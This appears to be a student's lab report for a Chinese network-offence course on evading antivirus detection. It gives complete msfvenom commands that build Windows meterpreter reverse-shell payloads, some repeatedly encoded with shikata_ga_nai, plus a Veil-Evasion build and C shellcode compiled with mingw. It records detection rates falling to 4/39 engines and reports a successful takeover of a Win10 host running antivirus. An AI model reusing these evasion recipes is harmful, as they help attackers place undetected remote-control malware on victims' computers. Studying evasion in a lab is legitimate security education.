20145302張薇 《網路對抗技術》免殺原理與實踐
基礎問題回答
1.殺軟是如何檢測出惡意程式碼的?
- 建立特徵碼庫,對惡意程式碼的特徵碼進行匹配,匹配到即為惡意程式碼;
- 看該程式碼是否被流行免殺加殼軟體加殼,如果有可能就是惡意程式碼;
- 根據該程式碼是否有惡意行為來判別,若有惡意的行為,我們就認為該程式碼是惡意程式碼。
2.免殺是做什麼? - 免殺就是通過改變惡意程式的明顯特徵等資訊,使其免除被系統自身或防毒軟體查殺發現的技術。
3.免殺的基本方法有哪些? - 改變特徵碼
- 加殼:使用專業的加殼軟體,掩蓋特徵碼;
- 使用encode等進行編碼,進行異或、+1、-1等類似操作改變特徵碼;
- 使用其他語言進行重寫再編譯,如veil-evasion。
- 改變攻擊行為
- 反彈式連線能大大減少被阻止查殺的風險;
- 在正常應用軟體中插入惡意程式碼;
- 將惡意程式碼加密,執行惡意程式碼後再解密進行惡意操作;
- 使用隧道技術
- 自己手動編寫一個惡意軟體;
- 使用有漏洞的應用軟體作為後門,攻擊漏洞埠進行非法操作;或誘導使用者關閉自己的防毒軟體。
實踐總結與體會
- 通過本次實驗,我瞭解了一般的防毒軟體查殺的原理,一般的惡意程式碼是如何想盡辦法偽裝的;
- 我們很容易的發現單單依賴查殺軟體或者防火牆是不會完美保護我們的電腦主機的;
- 我們最好是提高自身的安全保護意識和專業知識,才能降低我們被惡意程式碼侵害的風險。
離實戰還缺些什麼技術或步驟?
- 首先,靶機不會乖乖的讓我們傳送目標檔案,反彈式連線很重要,將惡意程式碼融進使用者常用的應用程式可以提高我們的攻擊成功率,但是黑進主流的常用軟體程式內部是一件很難的事情;
- 其次,一般的防毒軟體對主流的編碼、加殼的平臺程式都會有研究,直接使用這些平臺進行攻擊成功的機率極其小,我們需要自己的手工的在惡意程式碼中新增一些東西,這需要更加專業的知識,對各種系統更深的瞭解;
- 目前所做的實驗只侷限在同一網段,但是現實中的IP的變幻多端的,很複雜;
- 有人生成惡意程式碼,就有人會想辦法消除惡意程式碼帶來的危害,沒有可以一直稱霸PC的惡意程式碼,我們要與時俱進,實時更新。
實踐過程記錄
msfvenom直接生成meterpreter可執行檔案
- win8的IP地址:192.168.199.237
- Kali的IP地址:192.168.199.109
- 使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.109 PORT=302 -f exe > fool.exe
命令生成meterpreter可執行檔案fool.exe - 使用ncat將檔案傳輸到win8主機
- 電腦管家檢測到fool.exe惡意軟體並刪除,找回檔案即可
- 我們上http://www.virscan.org/這個網站檢測一下有多少查毒軟體可以將其查殺出來
- 點選瀏覽選項,自行選中所要檢測的程式:fool.exe,隨後點選掃描一下即可。
檢查結果如下:
- 有21/39的防毒軟體發現有病毒
這已經是很簡單的惡意軟體了,如果連這都檢測不出來,那怕是不能用了
Msfvenom使用編碼器生成meterpreter可執行檔案
(1)一次編碼
使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.199.109 LPORT=1302 -f exe > fool1302.exe
命令生成編碼過的可執行檔案fool1302.exe
- 我們發現被編碼後的payload大小為360位元組,上面直接生成的payload大小為333位元組,但是最終檔案的大小都是73802位元組。
以上述相同方法傳送給win8主機後再次檢測:
我們發現有18/39的防毒軟體發現有病毒,只有微小的變化,因為AV不是吃素的,AV的工作人員都有相關做惡意程式碼的經驗,編碼這種事情肯定難不倒他們。
(2)多次編碼
我們嘗試使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.199.109 LPORT=2302 -f exe > fool2302-e8.exe
命令將檔案編碼10次,得到如下結果:
在資料夾中,該exe檔案顯示的圖示如下:
- 他說有個位元組錯誤了,這是為何呢?
編碼八次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b ‘\x00’ LHOST=192.168.199.109 LPORT=2302 -f exe > fool2302-e8.exe
- 由上圖發現每編碼一次,資訊都會顯示出來,而且每次payload增加27位元組,最終payload大小為549位元組,但是檔案最終大小仍為73802位元組
再來檢測一下:
- 在編碼8次之後,有21/39的防毒軟體檢測出了有問題
我們發現,一般的防毒軟體對於編碼這種免殺方法都是有防禦性的
使用Veil-Evasion生成可執行檔案
- win8的IP地址:10.43.37.37
- Kali的IP地址:10.43.35.99
在Kali中開啟veil-evasion:直接在終端輸入veil-evasion即可(如果是自己安裝的kali可以用
sudo apt-get veil-evasion
下載一個)
在該介面下輸入命令:use python/meterpreter/rev_tcp,出現結果如下圖所示:
使用
set LHOST 10.43.35.99
命令將LHOST設為Kali的IP
輸入命令generate,進入到如下介面
接下來我們輸入自己生成的可執行檔案的名字:5302ve
他會詢問我們選擇哪種編寫方式,我們選擇1,用python語言來編寫,最終出現如下介面
- 這裡的埠我忘改了,不過這個也就和msf一樣,自己隨便設定就好。
該可執行檔案存在kali計算機的/var/lib/veil-evasion/output/compiled/資料夾裡,點選places的kali5302即可找到相應的資料夾:
檢測結果如下:
有9/39的防毒軟體報告發現有病毒,效果還是不錯的
使用C語言呼叫Shellcode
(初步除錯)
使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊者IP LPORT=302 -f c
命令生成一個C語言shellcode陣列
建立一個C檔案:MSSC.c(意為免殺shellcode),將上面生成的陣列copy到該檔案下,並加入一個主函式:
使用
i686-w64-mingw32-g++ MSSC.c -o MSSC_5302.exe
命令將該C語言程式碼MSSC.c轉換為一個可在64位windows系統下操作的可執行檔案MSSC_5302.exe
將MSSC_5302.exe傳到win8主機下,很不幸,直接被電腦管家查殺出來!我們先將其新增入信任區,檢測一下,結果如下:
有8/39的查殺軟體發現了這是惡意檔案,一般的主流殺軟可以查出來吧!
(再次嘗試)
- 將上面生成的陣列copy到win8的主機上,用vs2013編寫一個C程式並編譯
在Kali下使用msf監聽(如何進行msf監聽),執行剛剛編譯生成的可執行檔案,成功獲取許可權:
檢測一下:
- 有4/39的查殺軟體發現了病毒,比上一個超簡單的C程式厲害了一點
我們找到C可執行檔案的位置,用電腦管家掃描一下,成功免殺。
電腦實測
- 首先生成C的shellcode陣列
- 新增主函式編譯後弄成一個可執行檔案FMSSC.exe,傳輸到一臺win10上
- win10電腦配有360安全衛士,查殺是沒有問題的:
- 而且獲取了許可權,截了他的屏